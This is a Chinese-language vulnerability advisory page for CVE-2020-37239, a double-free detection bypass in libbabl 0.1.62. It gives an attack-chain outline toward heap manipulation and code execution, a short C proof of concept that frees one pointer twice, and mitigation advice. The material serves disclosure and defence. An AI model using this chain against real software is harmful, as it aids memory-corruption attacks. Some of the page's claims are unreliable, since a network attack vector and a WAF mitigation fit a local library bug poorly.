IPBUF安全漏洞报告
English
CVE-2020-37239 CVSS 9.8 严重

CVE-2020-37239 libbabl双重释放检测绕过漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37239
漏洞类型
双重释放
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libbabl

相关标签

双重释放内存破坏libbablCVE-2020-37239代码执行

漏洞概述

libbabl 0.1.62版本存在双重释放检测绕过漏洞。由于libc的malloc元数据在释放时会覆盖babl的签名字段,攻击者可利用此机制绕过内存安全检查。这使得攻击者能够对同一指针调用两次babl_free()而未被检测,从而引发内存损坏,潜在导致代码执行。

技术细节

该漏洞存在于libbabl 0.1.62版本的内存释放检测逻辑中。libbabl尝试通过检查内存块中的“魔法”签名来防止双重释放攻击。然而,当第一次调用babl_free()时,底层glibc malloc库会回收该内存块,并将自己的元数据(如前向和后向指针)写入该块头部,这恰好覆盖了libbabl存储的签名字段。因此,当攻击者第二次尝试释放同一指针时,检测机制因签名被覆盖而失效,从而允许双重释放发生。这种行为破坏了堆的完整性,攻击者可利用此漏洞进行堆风水布局,最终实现任意代码执行。

攻击链分析

STEP 1
信息收集
确认目标应用使用libbabl 0.1.62或受影响版本。
STEP 2
触发释放
诱导应用程序分配内存块并调用babl_free()进行释放。
STEP 3
破坏签名
利用glibc malloc机制,在首次释放后,让libc元数据覆盖原内存块中的babl安全签名。
STEP 4
绕过检测
再次对同一指针调用babl_free(),由于签名已被修改,检测逻辑失效。
STEP 5
利用执行
利用双重释放导致的堆破坏,进行堆风水操作并劫持程序执行流。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <babl/babl.h> #include <stdio.h> #include <stdlib.h> int main() { // Initialize the babl library babl_init(); // Allocate memory using the vulnerable library function void *ptr = babl_malloc(64); printf("Allocated pointer: %p\n", ptr); // First free: This triggers the libc free, which overwrites the babl signature // with its own metadata (fd/bk pointers). babl_free(ptr); printf("Freed pointer for the first time.\n"); // Second free: Due to the signature overwrite, the double free detection // logic in babl_free() is bypassed, leading to a Double Free vulnerability. printf("Attempting second free...\n"); babl_free(ptr); printf("Exploit successful: Double free detection bypassed.\n"); babl_exit(); return 0; }

影响范围

libbabl 0.1.62

防御指南

临时缓解措施
建议立即将libbabl库更新到官方提供的修复版本。若暂时无法更新,应通过限制应用权限和部署WAF等防护手段减少攻击面,并监控异常的内存操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表